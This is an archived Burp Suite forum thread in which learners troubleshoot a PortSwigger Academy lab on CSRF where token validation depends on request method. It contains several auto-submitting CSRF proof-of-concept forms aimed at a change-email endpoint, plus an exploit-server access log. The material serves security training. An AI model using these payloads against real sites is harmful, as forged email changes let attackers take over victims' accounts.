Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

CSRF where token validation depends on request method

Dean | Last updated: Mar 04, 2024 08:12AM UTC

Hi, I have a problem with solving CSRF where token validation depends on request method in Burp professional version. This is my code from exploit server aned I have changed email in the code.Do you have more information about the issue? <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://0a84008f0335b28c80714e8000ac0014.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="wiener4&#64;user&#46;com" /> <input type="hidden" name="csrf" value="volwKBajP4elSEHK9DLQiYqnW3pAqQHu" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>

Ben, PortSwigger Agent | Last updated: Mar 04, 2024 11:19AM UTC

Hi Dean, I have just run through this lab and been able to solve it using the solution provided so it does appear to be functioning as expected. If you create the PoC after you have changed the request method, does this then allow you to 'solve' the lab?

Tyla | Last updated: Jul 22, 2024 11:30PM UTC

i am using community edition and have tried on burp browser and chrome yet lab is not solved using the given solution code : <form action="https://0a62009b04839adb8375b133006200b9.web-security-academy.net/my-account/change-email"> <input type="hidden" name="email" value="anything%40web-security-academy.net"> </form> <script> document.forms[0].submit(); </script> am i missing something? i also have tried with rhana's video code too

Tyla | Last updated: Jul 22, 2024 11:33PM UTC

i have also tried using this code : <html> <body> <h1> hello world</h1> <iframe style="display:none" name="csrf-iframe"></iframe> <form action="https://0a62009b04839adb8375b133006200b9.web-security-academy.net/my-account/change-email/"method="get"id="csrf-form"> <input type="hidden" name="email" value="test@test.com"> </form> <script>document.getElementById("csrf.form").submit()</script> </form>> </body> </html>

Tyla | Last updated: Jul 22, 2024 11:34PM UTC

i have also tried using this code==( edit: extra ">") <html> <body> <h1> hello world</h1> <iframe style="display:none" name="csrf-iframe"></iframe> <form action="https://0a62009b04839adb8375b133006200b9.web-security-academy.net/my-account/change-email/"method="get"id="csrf-form"> <input type="hidden" name="email" value="test@test.com"> </form> <script>document.getElementById("csrf.form").submit()</script> </form> </body> </html>

Ben, PortSwigger Agent | Last updated: Jul 23, 2024 07:36AM UTC

Hi Tyla, If you go back to using the first exploit that you mentioned but remove the encoding of the '@' character in the email value so: <input type="hidden" name="email" value="anything@web-security-academy.net"> Instead of: <input type="hidden" name="email" value="anything%40web-security-academy.net"> Does this allow you to solve the lab if you deliver this slightly altered exploit?

Tyla | Last updated: Jul 26, 2024 03:01PM UTC

hello, i tried the code with the '@' character url encoded '%40' but still did not solve the lab after storing and delivering to victim on burp browser and chrome browser , received this in the access log : 10.0.4.215 2024-07-26 14:59:59 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 108.204.79.86 2024-07-26 14:59:59 +0000 "GET / HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 108.204.79.86 2024-07-26 15:00:00 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 108.204.79.86 2024-07-26 15:00:05 +0000 "POST / HTTP/1.1" 302 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"

Tyla | Last updated: Jul 26, 2024 03:04PM UTC

i also tried the first code with the @ sign not url encoded ,so i have tried both codes with the @ sign url encoded and url encoded and lab is not solving

Ben, PortSwigger Agent | Last updated: Jul 26, 2024 05:55PM UTC

Hi, What does your latest exploit look like? The following solves this lab for me (taken from the written solution): <form action="https://0afb008c039580898011f3dc00cd00df.web-security-academy.net/my-account/change-email"> <input type="hidden" name="email" value="anything@web-security-academy.net"> </form> <script> document.forms[0].submit(); </script>

Tyla | Last updated: Jul 26, 2024 06:30PM UTC

hello i currently tried the written code using this with my lab id but received "method not allowed" when i viewed the exploit: <form action="https://0abe00af049fb66d81767fca0078005b.web-security-academy.net/my-account/change-email"> <input type="hidden" name="email" value="anything@web-security-academy.net"> </form> <script> document.forms[0].submit(); </script>

Tyla | Last updated: Jul 26, 2024 06:50PM UTC